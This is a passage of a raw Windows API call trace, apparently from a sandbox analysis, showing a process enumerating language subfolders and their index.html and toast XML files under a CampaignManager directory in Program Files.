	[0155.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.103] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.103] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.103] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.103] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.103] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.103] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.104] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1
	[0155.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.104] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL") returned 100
	[0155.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.105] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.105] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.105] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.105] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.105] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.106] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.106] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.106] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0155.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.107] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE") returned 100
	[0155.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.108] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.108] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x94f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.108] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.108] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.108] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.108] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.108] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.109] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1
	[0155.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.109] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES") returned 100
	[0155.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.110] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.110] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.110] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.110] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebee9e0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebee9e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.110] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.111] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.111] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.111] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0155.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.112] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI") returned 100
	[0155.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.112] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.113] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x990a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.113] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.113] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.113] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.113] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.113] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.114] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1
	[0155.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.114] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE") returned 100
